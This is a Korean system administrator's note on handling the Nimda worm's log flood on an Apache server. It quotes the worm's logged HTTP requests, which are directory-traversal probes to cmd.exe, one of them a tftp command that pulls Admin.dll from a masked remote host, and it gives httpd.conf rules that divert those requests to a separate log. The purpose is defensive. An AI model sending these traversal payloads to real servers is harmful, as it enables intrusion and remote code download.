님다웜 바이러스는 포트 80/tcp을 통한 Web 서버로그
 GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..xc1x1c../..xc1x1c../..xc1
x1c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%
5c/..../..../..../winnt/system32/cmd.exe, /c+tftp%20-i%
20xxx.xxx.xxx.xxx%20GET%20Admin.dll%20d:Admin.dll
GET /msadc/..%5c../..%5c../..%5c/..../..../..../Admin.dll
GET /scripts/..xc1x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..xc0xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..xc1x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
 들을 남긴다. 이로 인해 엄청난 양의 웹로그가 발생하여 하드디스크를 full
나게하여
시스템을 다운시킨다. 이 문제를 해결하기 위해 그림파일을 읽을 때 남기는
로그를
제거하고 님다공격 로그를 별도로 받아 님다치료 메일을 보내기로 했다.
아파치 설정화일 httpd.conf에 기존의
 CustomLog /var/log/httpd/access_log common
 를 삭제하고 다음과 같이 추가 하였다. 여기서 image, nolog는
별칭이다. 다른 것으로 사용하여도 된다.
 SetEnvIf Request_URI .(gif|jpg|GIF|JPG)$ image nolog
SetEnvIf Request_URI /(root.exe?|cmd.exe?)$ nimda nolog
 CustomLog /var/log/httpd/access_log common env=!nolog
CustomLog /var/log/httpd/nimda_log common env=nimda
 추가 했으면 아파치를 다시 시작하자..
access_log 에는 그림파일 호출로그, 님다웜 공격로그는 남지 않는다.
nimda_log 에는 님다웜의 공격로그만 남는다.
 엄청난 로그를 남기는 님다웜 로그도 남기고 싶지 않다면
 SetEnvIf Request_URI .(gif|jpg|GIF|JPG)$ nolog
SetEnvIf Request_URI /(root.exe?|cmd.exe?)$ nolog
 CustomLog /var/log/httpd/access_log common env=!nolog
 라고 httpd.conf에 적는다.
----------------------------------------------------------------------
질문이나 잘못된 내용이 있으면 http://jeon.ikhwan.pe.kr로 연락 주세요